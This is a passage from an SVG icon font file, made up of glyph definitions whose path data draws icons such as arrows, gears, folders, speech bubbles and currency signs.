301t80.5 301t218.5 218.5t301 80.5zM533 778v-163h-321v-280h321v-163l455 303z" /> <glyph glyph-name="uniF136" unicode="" d="M1200 475q0 -163 -80.5 -301t-218.5 -218.5t-301 -80.5t-301 80.5t-218.5 218.5t-80.5 301t80.5 301t218.5 218.5t301 80.5t301 -80.5t218.5 -218.5t80.5 -301zM903 408l-303 455l-303 -455h163v-321h280v321h163z" /> <glyph glyph-name="uniF137" unicode="" d="M600 1075q163 0 301 -80.5t218.5 -218.5t80.5 -301t-80.5 -301t-218.5 -218.5t-301 -80.5t-301 80.5t-218.5 218.5t-80.5 301t80.5 301t218.5 218.5t301 80.5zM605 763q-114 -2 -187 -121q-49 12 -94.5 -3t-75 -50.5t-46 -81t-11 -99.5t33.5 -100h738q36 31 43.5 76 t-8.5 83.5t-53 64t-83 20.5q-24 91 -98 152t-159 59z" /> <glyph glyph-name="uniF138" unicode="" d="M984 500q45 4 86 -12t68.5 -45t44 -68.5t17.5 -80t-16 -81.5t-51 -72h-1083q-26 43 -38.5 91.5t-11.5 94t12 90t33 81.5t51.5 68t67 48t80 23.5t90.5 -5.5q32 53 72 91t82 57t86.5 26t88 -1t85 -25.5t79 -46.5t68 -64.5t53.5 -79t36 -89.5z" /> <glyph glyph-name="uniF139" unicode="" d="M600 1075q163 0 301 -80.5t218.5 -218.5t80.5 -301t-80.5 -301t-218.5 -218.5t-301 -80.5t-301 80.5t-218.5 218.5t-80.5 301t80.5 301t218.5 218.5t301 80.5zM543 841l-11 -111q-34 -9 -64 -26l-86 70l-81 -81l70 -86q-17 -30 -26 -64l-111 -11v-114l111 -11 q9 -34 26 -64l-70 -86l81 -81l86 70q30 -17 64 -26l11 -111h114l11 111q34 9 64 26l86 -70l81 81l-70 86q17 30 26 64l111 11v114l-111 11q-9 34 -26 64l70 86l-81 81l-86 -70q-30 17 -64 26l-11 111h-114zM600 581q44 0 75 -31t31 -75t-31 -75t-75 -31t-75 31t-31 75t31 75 t75 31z" /> <glyph glyph-name="uniF13A" unicode="" d="M506 1075h188l18 -181q55 -15 105 -44l141 116l133 -133l-116 -141q29 -50 44 -105l181 -18v-188l-181 -18q-15 -56 -44 -105l116 -141l-133 -133l-141 116q-50 -29 -105 -44l-18 -181h-188l-18 181q-56 15 -105 44l-141 -116l-133 133l116 141q-29 49 -44 105l-181 18 v188l181 18q15 55 44 105l-116 141l133 133l141 -116q49 29 105 44zM600 648q-72 0 -122.5 -50.5t-50.5 -122.5t50.5 -122.5t122.5 -50.5t122.5 50.5t50.5 122.5t-50.5 122.5t-122.5 50.5z" /> <glyph glyph-name="uniF13B" unicode="" d="M910 984l85 -9v-83q24 -9 45 -24l69 45l54 -66l-59 -59q11 -23 15 -49l81 -17l-9 -85h-83q-9 -24 -24 -45l45 -70l-66 -53l-59 59q-23 -11 -49 -15l-17 -81l-85 9v83q-24 9 -45 24l-69 -45l-54 66l59 58q-11 24 -15 50l-81 17l9 85l83 -1q9 25 24 46l-45 69l66 54l59 -59 q23 11 49 15zM924 787q-30 0 -52.5 -20.5t-26.5 -50.5q-3 -32 17.5 -57.5t53 -29t58 17t28.5 53.5q3 21 -5.5 40t-25.5 31.5t-39 14.5q-3 1 -8 1zM315 780h117l11 -113q35 -9 66 -27l88 72l82 -83l-72 -88q18 -30 27 -65l113 -11v-117l-113 -12q-9 -34 -27 -65l72 -88 l-82 -82l-88 71q-31 -17 -66 -27l-11 -112h-117l-11 112q-35 9 -66 27l-87 -71l-83 82l72 88q-18 31 -27 65l-113 12v117l113 11q9 35 27 65l-72 88l83 83l87 -72q31 18 66 27zM373.5 514q-44.5 0 -76 -31.5t-31.5 -76.5t31.5 -76.5t76 -31.5t76.5 31.5t32 76.5t-32 76.5 t-76.5 31.5zM869 370l60 -7v-60q17 -7 32 -18l48 33l38 -48l-41 -43q7 -17 10 -36l57 -13l-6 -62h-58q-7 -18 -18 -33l32 -51l-46 -39l-41 43q-17 -8 -35 -11l-12 -59l-60 7v60q-17 7 -32 18l-48 -33l-38 49l41 42q-7 18 -10 37l-57 12l6 62h58q7 18 18 33l-32 51l46 39 l42 -43q16 8 34 11zM879 226q-21 0 -37 -15t-18 -37q-3 -24 11.5 -42.5t37.5 -21t41 12.5t20.5 39t-12 42.5t-37.5 21.5h-6z" /> <glyph glyph-name="uniF13C" unicode="" d="M0 1014h1024v-729h-484l-329 -211v211h-211v729zM1072 854h82h46v-46v-612v-45h-46h-131v-132v-83l-71 45l-264 170h-271l143 91h141h14l11 -7l205 -132v93v46h46h131v520h-36v92z" /> <glyph glyph-name="uniF13D" unicode="" d="M0 1026h1200v-855h-567l-386 -247v247h-247v855z" /> <glyph glyph-name="uniF13E" unicode="" d="M175.5 50.5q-115.5 115.5 -156 270t0 309t156 270t270 156t309 0t270 -156t156 -270t0 -309t-156 -270t-270 -156t-309 0t-270 156zM271 116l427 261l261 427l-30 30l-426 -262l-262 -426z" /> <glyph glyph-name="uniF13F" unicode="" d="M175.5 50.5q-115.5 115.5 -156 270t0 309t156 270t270 156t309 0t270 -156t156 -270t0 -309t-156 -270t-270 -156t-309 0t-270 156zM234.5 109.5q74.5 -74.5 171 -113.5t194.5 -39t194.5 39t171.5 113q99 100 134.5 233t0 266t-135 232.5t-232.5 135t-266 0t-233 -134.5 q-74 -75 -113 -171.5t-39 -194.5t39 -194.5t113.5 -171zM293 141l-27 27l243 398l398 243l27 -27l-243 -398z" /> <glyph glyph-name="uniF140" unicode="" d="M-2 872h1204v-249h-1204v249zM-2 509h1204v-431h-1204v431zM130 319v-137h453v137h-453z" /> <glyph glyph-name="uniF141" unicode="" d="M0 1051h1200v-927l-600 -225l-600 225v927zM287 683q-67 0 -112 -41.5t-45 -114.5q1 -68 42 -113t115 -44q32 0 57.5 7t45.5 22t31 40t12 59h-90q0 -53 -57 -56q-27 1 -42 21t-14 49q0 4 -0.5 14.5t0 14t1 12.5t2 14t4 11.5t6.5 12.5q11 14 30.5 18t36.5 -2 q30 -13 30 -54h93q0 63 -39.5 96t-106.5 34zM612 683q-25 0 -47 -4.5t-42.5 -14.5t-32.5 -30t-14 -48q1 -69 90 -91q3 -1 20.5 -4t30.5 -6.5t25 -10t13 -14.5q0 -21 -43 -21q-22 0 -35.5 8.5t-12.5 30.5h-92q0 -32 11.5 -54t33.5 -33.5t47 -16t57 -4.5q27 0 49.5 5.5t42 17 t30.5 33t12 50.5q-1 34 -26.5 55.5t-64.5 30.5q-4 0 -16 2.5t-23 4.5t-22.5 5.5t-18.5 9.5t-8 13q0 19 40 20q16 0 27.5 -7.5t11.5 -23.5v-1h91v5q-1 47 -41 70.5t-93 22.5zM930 683q-20 0 -38 -2.5t-35.5 -9t-30.5 -17.5t-21.5 -28t-9.5 -40q0 -69 89 -91q3 -1 21 -4 t30.5 -6t24.5 -10t13 -15q0 -25 -63 -19q-29 5 -28 37h-92q0 -32 11.5 -54t33.5 -33.5t47 -16t57 -4.5q57 0 95 25t39 81q-1 21 -9 35q-19 35 -82 50q-3 1 -21 4.5t-30 6.5t-24 9.5t-13 15.5q0 19 40 20q16 0 28 -8t11 -24h91q0 50 -38.5 74t-95.5 24z" /> <glyph glyph-name="uniF142" unicode="" d="M600 880q122 0 233 -47.5t191.5 -128t128 -191.5t47.5 -233q0 -109 -38 -210h-164q52 98 52 210q0 91 -35.5 174.5t-96 143.5t-143.5 96t-175 36t-175 -36t-143.5 -96t-96 -143.5t-35.5 -174.5q0 -112 52 -210h-164q-38 101 -38 210q0 122 47.5 233t128 191.5t191.5 128 t233 47.5zM600 644q31 0 53 -22t22 -53t-22 -53t-53 -22t-53 22t-22 53t22 53t53 22zM375 571q31 0 53 -22t22 -53.5t-22 -53t-53 -21.5q-20 0 -37.5 10t-27.5 27t-10 38q0 31 22 53t53 22zM825 571q31 0 53 -22t22 -53.5t-22 -53t-53 -21.5t-53 21.5t-22 53t22 53.5t53 22z M600 423l59 -294v-59h-118v59z" /> <glyph glyph-name="uniF143" unicode="" d="M0 1075h600v-600h-600v600zM600 475h600v-600h-600v600z" /> <glyph glyph-name="uniF144" unicode="" d="M436 549l3 -230h-242q12 46 28 81t43 67t69 52.5t99 29.5zM435 608q-102 -13 -180.5 -44.5t-124.5 -69.5t-76 -86.5t-41 -91.5t-13 -89v-3h575v502h-142zM569 720v-490h-563q2 45 13 87t40.5 89.5t75 84.5t122.5 67t176 44l2 -47q-59 -10 -102 -31.5t-70.5 -54.5t-44 -69 t-27.5 -84l-1 -3h255l-6 407h130zM636 231l2 270q70 4 121 -10v-174l260 -2l-1 3q-14 60 -41.5 105.5t-62 71.5t-76.5 44t-86 23t-90 8.5t-88 -0.5v50q95 1 176.5 -8t150.5 -29t123 -51.5t91.5 -73.5t57.5 -96.5t21 -119.5v-11h-558zM630 225h570v3v15q-2 131 -81 219 t-217 127.5t-331 36.5h-3v-62h3q42 4 88 1t89 -8t85 -22t76 -42.5t61 -69.5t41 -102l-246 2v172l-2 1q-54 16 -128 11l-3 -1zM636 231l2 270q70 4 121 -10v-174l260 -2l-1 3q-14 60 -41.5 105.5t-62 71.5t-76.5 44t-86 23t-90 8.5t-88 -0.5v50q95 1 176.5 -8t150.5 -29 t123 -51.5t91.5 -73.5t57.5 -96.5t21 -119.5v-11h-558zM630 225h570v3v15q-2 131 -81 219t-217 127.5t-331 36.5h-3v-62h3q42 4 88 1t89 -8t85 -22t76 -42.5t61 -69.5t41 -102l-246 2v172l-2 1q-54 16 -128 11l-3 -1z" /> <glyph glyph-name="uniF145" unicode="" d="M1123 700h-75v-150h-77h-294h-76v150h-77v-229h77v-442h223v220h77v-220h145v442h2h75v229zM677 919v-293h294v293h-294zM1200 771v-377h-77v-440h-599v440h-224v-145h72v-76h76v-219h-373v219h77v-144h220v144h-220v76h72v145h-149v77h372v300h1h153v225h447v-225h152z M372 771v72h75v-72h-75zM75 771v-300h-75v300h75zM152 771h-77v72h77v-72zM372 843h-220v76h220v-76z" /> <glyph glyph-name="uniF146" unicode="" d="M0 37h1200v-162h-1200v162zM821 1075v-497h276l-497 -462l-497 462h276v497h442z" /> <glyph glyph-name="uniF147" unicode="" d="M600 1075q163 0 301 -80.5t218.5 -218.5t80.5 -301t-80.5 -301t-218.5 -218.5t-301 -80.5t-301 80.5t-218.5 218.5t-80.5 301t80.5 301t218.5 218.5t301 80.5zM600 5q77 0 148.5 24t129 67.5t101 101t67.5 129t24 148.5q0 96 -37.5 182.5t-100.5 149.5t-149.5 100.5 t-182.5 37.5t-182.5 -37.5t-149.5 -100.5t-100.5 -149.5t-37.5 -182.5t37.5 -182.5t100.5 -149.5t149.5 -100.5t182.5 -37.5zM717 726v-267h147l-264 -248l-264 248h147v267h234z" /> <glyph glyph-name="uniF148" unicode="" d="M600 1075q163 0 301 -80.5t218.5 -218.5t80.5 -301t-80.5 -301t-218.5 -218.5t-301 -80.5t-301 80.5t-218.5 218.5t-80.5 301t80.5 301t218.5 218.5t301 80.5zM600 988q-62 0 -121 -14q106 -144 193 -301q182 71 269 186q-70 61 -157.5 95t-183.5 34zM382 939 q-109 -51 -184.5 -146t-100.5 -214q237 1 476 63q-17 30 -35 59.5t-40.5 63.5t-35.5 54.5t-41.5 63t-38.5 56.5zM998 799q-53 -64 -129 -117t-158 -86q5 -12 14.5 -32t17 -36.5t13.5 -31.5q178 18 357 -18q-1 181 -115 321zM614 562q-250 -71 -527 -72v-15 q0 -97 34.5 -185.5t97.5 -157.5q33 61 82 114.5t110 95.5t117.5 72.5t127.5 61.5q-6 13 -13.5 28.5l-15 31t-13.5 26.5zM1111 432v-6v6zM885 422q-52 0 -99 -7q22 -56 41.5 -124.5t30 -113t28.5 -128.5q88 59 146 149t75 196q-110 29 -222 28zM1109 413q0 -6 -1 -9q1 3 1 9z M691 392q-127 -43 -231.5 -126t-174.5 -196q139 -108 315 -108q105 0 200 41q-39 208 -109 389z" /> <glyph glyph-name="uniF149" unicode="" d="M0 1075h776l-197 -197h-382v-382v-424h424h382v382l197 197v-776h-776h-424v424v776zM1050 1075l150 -150l-77 -77l-150 150zM937 962l150 -150l-440 -440l-150 150zM442 453q49 0 88 -37q47 -45 47 -106h-142v142q5 1 7 1z" /> <glyph glyph-name="uniF14A" unicode="" d="M600 1010l600 -647h-1200zM0 249h1200v-309h-1200v309z" /> <glyph glyph-name="uniF14B" unicode="" d="M600 1075q163 0 301 -80.5t218.5 -218.5t80.5 -301t-80.5 -301t-218.5 -218.5t-301 -80.5t-301 80.5t-218.5 218.5t-80.5 301t80.5 301t218.5 218.5t301 80.5zM293 707v-86l307 -175l307 175v86h-614zM293 566v-254l156 164zM907 566l-156 -90l156 -164v254zM492 452 l-199 -209h614l-199 209l-108 -62z" /> <glyph glyph-name="uniF14C" unicode="" d="M0 929h1200v-169l-600 -342l-600 342v169zM0 652l306 -174l-306 -321v495zM1200 652v-495l-306 321zM390 430l210 -120l210 120l390 -409h-1200z" /> <glyph glyph-name="uniF14D" unicode="" d="M600 1075q163 0 301 -80.5t218.5 -218.5t80.5 -301t-80.5 -301t-218.5 -218.5t-301 -80.5t-301 80.5t-218.5 218.5t-80.5 301t80.5 301t218.5 218.5t301 80.5zM197 636v-322h806v322h-806z" /> <glyph glyph-name="uniF14E" unicode="" d="M600 1075q163 0 301 -80.5t218.5 -218.5t80.5 -301t-80.5 -301t-218.5 -218.5t-301 -80.5t-301 80.5t-218.5 218.5t-80.5 301t80.5 301t218.5 218.5t301 80.5zM600 911q-71 0 -137.5 -22t-120 -62.5t-94 -94t-62.5 -120t-22 -137.5t22 -137.5t62.5 -120t94 -94t120 -62.5 t137.5 -22q89 0 169.5 34.5t139 93t93 139t34.5 169.5t-34.5 169.5t-93 139t-139 93t-169.5 34.5zM281 593h638v-236h-638v236z" /> <glyph glyph-name="uniF14F" unicode="" d="M755 876q-98 0 -162 -57q-63 -57 -82 -164h324v-142h-336l-1 -28v-38l1 -26h285v-143h-271q41 -196 258 -196q115 0 221 46v-206q-93 -47 -236 -47q-197 0 -324 107t-160 296h-110v143h95q-3 18 -3 50l2 42h-94v142h107q30 194 160 307t326 113q151 0 283 -66l-79 -186 q-56 25 -104 38q-48 15 -100 15v0z" /> <glyph glyph-name="uniF150" unicode="" d="M600 1075q163 0 301 -80.5t218.5 -218.5t80.5 -301t-80.5 -301t-218.5 -218.5t-301 -80.5t-301 80.5t-218.5 218.5t-80.5 301t80.5 301t218.5 218.5t301 80.5zM382 957l94 -661h248l94 661h-436zM602.5 251q-53.5 0 -91.5 -37.5t-38 -91.5q0 -35 17.5 -64.5t47 -47 t64.5 -17.5q54 0 91.5 38t37.5 91.5t-37.5 91t-91 37.5z" /> <glyph glyph-name="uniF151" unicode="" d="M670 801l108 184l98 -60l-552 -960l-102 60l75 131l-8 4q-125 64 -212 154q-76 87 -77 132q7 58 77 132q95 96 212 154q153 73 311 74q35 -1 70 -5zM903 736q1 -1 2.5 -1.5l3 -1t2.5 -1.5q125 -63 212 -154q76 -87 77 -132q-7 -57 -77 -132q-95 -96 -212 -154 q-154 -73 -311 -73q-31 0 -70 4l50 86q17 -1 20 -1q117 0 200 79t83 191q0 89 -55 160zM600 717q-117 0 -200 -79.5t-83 -191.5q0 -89 55 -160l58 101q-10 29 -10 59q0 62 40.5 109.5t101.5 59.5l58 101q-10 1 -20 1zM769 504q11 -29 11 -58q0 -61 -40.5 -108.5 t-101.5 -59.5z" /> <glyph glyph-name="uniF152" unicode="" d="M780 475.5q0 -71.5 -53 -122.5t-127.5 -51t-127 51t-52.5 122.5t52.5 122t127 50.5t127.5 -50.5t53 -122zM600 834q164 -2 311 -73q125 -64 212 -154q76 -87 77 -132q-7 -58 -77 -132q-95 -96 -212 -154q-154 -73 -311 -73q-164 2 -311 73q-125 64 -212 154 q-76 87 -77 132q7 58 77 132q95 96 212 154q153 73 311 73zM600 745q-117 0 -200 -79t-83 -191t83 -191t200 -79t200 79t83 191t-83 191t-200 79z" /> <glyph glyph-name="uniF153" unicode="" d="M0 1075h1200v-1200h-1200v1200zM863 918q-39 0 -69 -12q-118 -46 -118 -185v-131h-111v-152h111v-423h158v423h156l7 152h-163v112q1 26 7 40.5t19.5 21t36.5 5.5h96l4 142q-71 7 -107 7q-14 1 -27 0z" /> <glyph glyph-name="uniF154" unicode="" d="M0 940h930v-391l270 391v-930l-270 391v-391h-930v930z" /> <glyph glyph-name="uniF155" unicode="" d="M0 -125v1200h200v-550l500 500v-500l500 500v-1100l-500 500v-500l-500 500v-550h-200z" /> <glyph glyph-name="uniF156" unicode="" d="M1200 1075v-1200h-200v550l-500 -500v500l-500 -500v1100l500 -500v500l500 -500v550h200z" /> <glyph glyph-name="uniF157" unicode="" d="M600 1075q105 0 193.5 -51.5t140 -140.5t51.5 -193q0 -93 -40.5 -173.5t-111.5 -134.5t-160 -71v-124h166v-147h-166v-165h-146v165h-166v147h166v124q-135 26 -223.5 132.5t-88.5 246.5q0 104 51.5 193t140 140.5t193.5 51.5zM600 922q-96 0 -164 -68t-68 -164 q0 -64 31 -117.5t84.5 -84.5t116.5 -31t116.5 31t84.5 84.5t31 117.5q0 96 -68 164t-164 68z" /> <glyph glyph-name="uniF158" unicode="" d="M600 1075q163 0 301 -80.5t218.5 -218.5t80.5 -301t-80.5 -301t-218.5 -218.5t-301 -80.5t-301 80.5t-218.5 218.5t-80.5 301t80.5 301t218.5 218.5t301 80.5zM497 786l-118 -113v-38h157v151h-39zM590 786v-203h-211v-419h442v622h-231z" /> <glyph glyph-name="uniF159" unicode="" d="M600 1075q163 0 301 -80.5t218.5 -218.5t80.5 -301t-80.5 -301t-218.5 -218.5t-301 -80.5t-301 80.5t-218.5 218.5t-80.5 301t80.5 301t218.5 218.5t301 80.5zM457 854l-143 -138v-620h537v242l-66 -67v-109h-405v507h125v119h280v-172l-198 -198l-59 -182l181 59 l289 289l-122 123l-25 -25v172h-394zM618 387l61 -61l-91 -30z" /> <glyph glyph-name="uniF15A" unicode="" d="M285 1075h624v-272l39 39l194 -194l-458 -457l-287 -94l93 287l314 314v273h-443v-188h-198v-804h641v173l105 105v-382h-851v982zM539 336l-47 -144l144 47z" /> <glyph glyph-name="uniF15B" unicode="" d="M600 1075q163 0 301 -80.5t218.5 -218.5t80.5 -301t-80.5 -301t-218.5 -218.5t-301 -80.5t-301 80.5t-218.5 218.5t-80.5 301t80.5 301t218.5 218.5t301 80.5zM449 853l-132 -128v-575h354v61h-293v471h116v110h259v-183h62v244h-366zM726 555v-146h-146v-113h146v-146 h113v146h146v113h-146v146h-113z" /> <glyph glyph-name="uniF15C" unicode="" d="M256 1075h624v-417h-105v313h-443v-188h-197v-804h500v-104h-605v982zM728 566h193v-249h249v-193h-249v-249h-193v249h-249v193h249v249z" /> <glyph glyph-name="uniF15D" unicode="" d="M401 1075h76v-292h-302v74zM580 1075h445v-1200h-850v809h405v391z" /> <glyph glyph-name="uniF15E" unicode="" d="M71 1075h1058v-1200h-1058v1200zM125 1003v-99h130v99h-130zM945 1003v-99h130v99h-130zM311 996v-524h578v524h-578zM125 781v-99h130v99h-130zM945 781v-99h130v99h-130zM125 560v-99h130v99h-130zM945 560v-99h130v99h-130zM311 435v-523h578v523h-578zM125 338v-99 h130v99h-130zM945 338v-99h130v99h-130zM125 117v-99h130v99h-130zM945 117v-99h130v99h-130z" /> <glyph glyph-name="uniF15F" unicode="" d="M0 1075h1200l-416 -416v-483l-368 -301v784z" /> <glyph glyph-name="uniF160" unicode="" d="M382 -125q-180 101 -241 206t-33 243q11 53 41.5 120.5t55.5 131t28 120.5q29 -53 42.5 -96t16.5 -97q93 114 148 263.5t58 308.5q13 -8 34.5 -22t77.5 -61.5t99.5 -98t82 -128.5t44.5 -157q22 47 27 104t-13 106q15 -12 39.5 -37t56.5 -66t62.5 -89.5t53.5 -109 t34.5 -122.5t1 -130.5t-42.5 -133.5t-101 -131.5t-169 -123.5q43 84 50.5 182.5t-17 190t-78.5 173.5t-129 134q3 -21 3.5 -54.5t-7 -80.5t-18.5 -92t-32 -90t-47 -73q11 83 5.5 136t-17.5 78l-11 25q-1 -4 -2.5 -11t-8 -28.5t-14.5 -42.5t-23.5 -51t-33.5 -56 q-26 -38 -40 -69t-22.5 -72.5t1.5 -91t38 -107.5z" /> <glyph glyph-name="uniF161" unicode="" d="M600 1075q163 0 301 -80.5t218.5 -218.5t80.5 -301t-80.5 -301t-218.5 -218.5t-301 -80.5t-301 80.5t-218.5 218.5t-80.5 301t80.5 301t218.5 218.5t301 80.5zM410 814q-75 0 -149 -43v-635h90v310q55 16 102.5 11t94 -18.5t86.5 -33t80.5 -33.5t76.5 -20t74.5 7.5 t73.5 48.5v363q-60 -39 -118.5 -49t-109.5 3.5t-97 33t-101 37t-103 18.5z" /> <glyph glyph-name="uniF162" unicode="" d="M0 999q76 44 150 62t138 13.5t127.5 -22t123.5 -42t120.5 -48t124 -39t127.5 -17t138.5 21t150.5 71.5v-643q-49 -49 -101 -74t-102.5 -27t-102.5 9.5t-107 33.5t-110 47t-117 47.5t-123.5 37t-134 14t-143.5 -19.5v-549h-159v1124z" /> <glyph glyph-name="uniF163" unicode="" d="M0 1075h1200v-1200h-1200v1200zM355 701q-94 0 -160 -66t-66 -160q0 -61 30 -113.5t82 -82.5t113.5 -30t114 30t82.5 82.5t30 113.5q0 94 -66 160t-160 66zM845 701q-94 0 -160 -66t-66 -160t66 -160t160 -66t160 66t66 160t-66 160t-160 66z" /> <glyph glyph-name="uniF164" unicode="" d="M249 957h259l84 -108h608v-144h-1200v144h165zM0 664h1200v-671h-1200v671z" /> <glyph glyph-name="uniF165" unicode="" d="M249 957h259l84 -108h402v-144h-870l-124 -466v610h165zM0 58l175 606h1025l-206 -671h-994v65z" /> <glyph glyph-name="uniF166" unicode="" d="M600 1075q163 0 301 -80.5t218.5 -218.5t80.5 -301t-80.5 -301t-218.5 -218.5t-301 -80.5t-301 80.5t-218.5 218.5t-80.5 301t80.5 301t218.5 218.5t301 80.5zM391 763l-50 -64h-99v-512h716v512h-363l-50 64h-154z" /> <glyph glyph-name="uniF167" unicode="" d="M249 957h259l84 -108h608v-856h-1200v856h165z" /> <glyph glyph-name="uniF168" unicode="" d="M335 312l218 564l217 -564h-435zM0 -118v84h104l423 1102h133l423 -1102h117v-84h-431v84h132l-100 261h-498l-100 -261h131v-84h-334v0z" /> <glyph glyph-name="uniF169" unicode="" d="M1041 282q-18 29 -45 37q-68 22 -103 -16q-21 -27 -21.5 -63.5t21.5 -60.5q34 -29 80 -21t68 41v83zM1140 613q60 -55 60 -156v-389q0 -8 -6 -13.5t-13 -5.5h-121q-7 0 -13 6t-6 13v11q-58 -44 -133 -44q-79 2 -134 53q-61 61 -62 154q3 101 62 156q58 48 134 49 q80 0 133 -42v37q0 88 -92 88q-72 0 -130 -60q-8 -7 -17.5 -5t-13.5 10l-48 82q-6 13 4 23q44 43 101 66q49 17 102.5 20.5t105.5 -9.5t87 -44zM353 677l-85 -302h170zM705 82q2 -8 2 -10q0 -9 -5.5 -14t-13.5 -5h-1h-150q-14 0 -18 14l-42 148h-247l-42 -148 q-4 -14 -20 -14h-148q-24 2 -19 24l251 824q5 14 19 14h165q14 0 19 -14z" /> <glyph glyph-name="uniF16A" unicode="" d="M42 139h186v172q0 88 78 165q57 56 249 191q37 26 83 57.5t69.5 48t46.5 33t35 27.5q25 22 28 29t3 40v171v2h148v-2v-171q0 -50 -21 -97t-60 -82q-23 -21 -53.5 -43t-93 -64.5t-100.5 -69.5q-182 -127 -230 -175q-26 -25 -30 -33t-4 -27v-172h194l-264 -264zM630 139 h190v172q0 11 -0.5 14.5t-3.5 10.5t-9.5 14t-20.5 21q-33 32 -125 100q3 1 10 6.5t12 8.5q30 21 108 73q63 -48 99 -83q78 -77 78 -165v-172h190l-264 -264z" /> <glyph glyph-name="uniF16B" unicode="" d="M600 1075q163 0 301 -80.5t218.5 -218.5t80.5 -301t-80.5 -301t-218.5 -218.5t-301 -80.5t-301 80.5t-218.5 218.5t-80.5 301t80.5 301t218.5 218.5t301 80.5zM300 700v-450l300 225zM675 700v-450l300 225z" /> <glyph glyph-name="uniF16C" unicode="" d="M573 -125v545l-546 -545v1200l546 -545v545l600 -600z" /> <glyph glyph-name="uniF16D" unicode="" d="M0 1075h1010l-274 -376l-82 82q-20 17 -41.5 17t-39.5 -17l-20 -21q-5 8 -11 16q-5 8 -12 16q-77 84 -184 85q-90 -2 -157 -58q-75 -70 -84 -166q-5 -103 57 -175q72 -78 166 -84l245 -245q21 -17 42.5 -17t38.5 17l276 276q17 19 17 41t-16 38l269 227v-856h-1200v1200z M1068 1075h132v-282l-580 -488q-4 -4 -10 -4h-4q-3 0 -7 4l-184 148h-2h-1q-32 -12 -67 -12q-80 0 -136.5 57t-56.5 137t56.5 137t137 57t137 -57t56.5 -137q0 -39 -15 -74v-2v-2q31 -42 49 -66q21 -26 23 -27q4 -7 13 -7t15 8z" /> <glyph glyph-name="uniF16E" unicode="" d="M0 1075h1200v-1200h-1200v1200zM809 910q-72 0 -132 -32q-96 35 -180 29q-122 -12 -179.5 -69.5t-65.5 -155.5q-13 -1 -21.5 -3t-18.5 -9t-16.5 -18t-11 -31t-4.5 -47q-1 -38 3.5 -64.5t15.5 -40.5t21 -20t27 -12l2 -314q1 -4 2 -16t2 -16.5t4 -14.5t8.5 -15t14 -11 t21.5 -9.5t31 -5.5l126 -3q70 -9 96 91q9 -84 74 -86h147q3 1 13 3.5t13 3.5t11.5 4t11.5 6t9 8.5t8.5 11.5t5 15.5t3.5 20.5l3 327l39 -2q15 2 24 4.5t21.5 8.5t22 18t17.5 31v98q-2 14 -6 22.5t-6.5 11t-8 5.5t-8.5 5h5q14 4 21.5 6.5t18 10.5t17.5 24t11 41l-3 80 q1 38 -22 60.5t-75 36.5q-81 12 -112 12zM516 833q38 1 107 -21l2 -95q-6 2 -18 6.5t-16.5 6t-16 4.5t-15 2.5t-13.5 0.5q-19 1 -32.5 -2.5t-21.5 -9t-12.5 -15.5t-6.5 -18t-3 -21v-67l169 -2q1 12 1 34v36t2.5 34t7 33.5t13.5 29.5t22.5 26t34.5 18t48 12q95 13 169 -19 l-2 -100q-27 21 -88 29q-26 4 -42 -2.5t-22 -20t-8.5 -31.5t-1 -37.5t-0.5 -38.5h122v-89h-122l1 -405l-135 4v401l-175 -4v-397h-135l4 397h-66l-2 101l72 -4l-2 27v14q1 20 2 31t4 31t8 32.5t15.5 29.5t24 27t35 19t48.5 12q10 -1 25 0t19 1z" /> <glyph glyph-name="uniF16F" unicode="" d="M886 1075q42 0 152 -16q72 -19 103 -50t30 -83l3 -109q-5 -34 -14 -56t-23.5 -33t-25 -14.5t-29.5 -8.5q-4 0 -6 -1q3 -2 8.5 -5t9 -5.5t8 -8t7.5 -15.5t6 -26v-134q-11 -25 -24.5 -41.5t-30.5 -25t-29 -11.5t-33 -6l-53 3l-3 -447q-1 -15 -5 -27.5t-7.5 -21t-11.5 -16 t-12.5 -11.5t-16 -8.5t-15.5 -5.5t-17.5 -4.5t-16.5 -4.5h-201q-90 2 -102 116q-35 -135 -131 -123l-172 4q-21 2 -38 6.5t-28 9.5t-19 13.5t-12.5 15t-7.5 18t-4 18t-2 20t-2 18.5l-4 430q-17 6 -28.5 12t-25 19t-21 31.5t-12.5 50.5t-4 74q0 27 3.5 48.5t8.5 36.5t13 26 t15 17.5t18 10.5t19.5 6t20.5 3q11 133 90 212t245 94q70 6 127 -5t120 -33q81 43 180 43zM486 970q-6 0 -26.5 -1.5t-33.5 -0.5q-29 -3 -53.5 -11.5t-42 -18t-32 -24.5t-23.5 -28t-16 -33t-10.5 -33t-5.5 -35l-3 -33t-1 -32q-1 -13 -1 -19l2 -37l-97 5l3 -137h89l-5 -543 h185v543l239 5v-548l184 -5l-2 553h167v122h-167q0 21 0.5 43t0.5 43.5t5.5 39.5t15 31t30 18.5t50.5 1.5q83 -11 119 -40l3 137q-101 43 -231 26q-37 -5 -65.5 -16.5t-46.5 -25.5t-30.5 -35t-18.5 -39.5t-9.5 -46t-3.5 -47v-49t-1 -46.5l-232 2v92q3 23 6.5 36t14 28 t31 21.5t53.5 4.5q4 2 15 0.5t16.5 -2.5t17 -4.5t18.5 -6t19.5 -7.5t20.5 -7l-3 129q-94 31 -145 30z" /> <glyph glyph-name="uniF170" unicode="" d="M0 1075h410l-142 -144l332 -332l332 332l-146 144h414v-410l-144 142l-332 -332l332 -332l144 146v-414h-410l142 144l-332 332l-332 -332l146 -144h-414v410l144 -142l332 332l-332 332l-144 -146v414z" /> <glyph glyph-name="uniF171" unicode="" d="M83 732v268h261v-268h-261zM469 732v268h262v-268h-262zM856 732v268h261v-268h-261zM83 341v268h261v-268h-261zM469 341v268h262v-268h-262zM856 341v268h261v-268h-261zM83 -50v268h261v-268h-261zM469 -50v268h262v-268h-262zM856 -50v268h261v-268h-261z" /> <glyph glyph-name="uniF172" unicode="" d="M676 1075q158 0 316 -66l-76 -186q-127 51 -220 51q-63 0 -97 -36t-34 -103v-156h304v-177h-304v-116q0 -138 -122 -201h581v-210h-848v201q83 35 114 81q32 47 32 127v118h-144v177h144v158q0 162 92 250q93 88 262 88v0z" /> <glyph glyph-name="uniF173" unicode="" d="M751 703h390v-301h-75v-527h-932v527h-75v301h428l-188 151l226 150l84 -254l146 325l226 -226zM774 976l-123 -271l242 153zM495 916l-101 -66l167 -134zM525 -50v476h-316v-476h316zM525 477v151h-391v-151h391zM991 -50v476h-316v-476h316zM1066 477v151h-391v-151 h391z" /> <glyph glyph-name="uniF174" unicode="" d="M1024 777h114v-127q-7 0 -24.5 1.5t-33.5 1.5h-56v-245q0 -88 57 -88q41 0 74 23v-132q-49 -26 -117 -26q-96 0 -133 68q-27 51 -27 162v235h1v3l-20 1q-17 0 -44 -4v127h64v52q0 36 -4 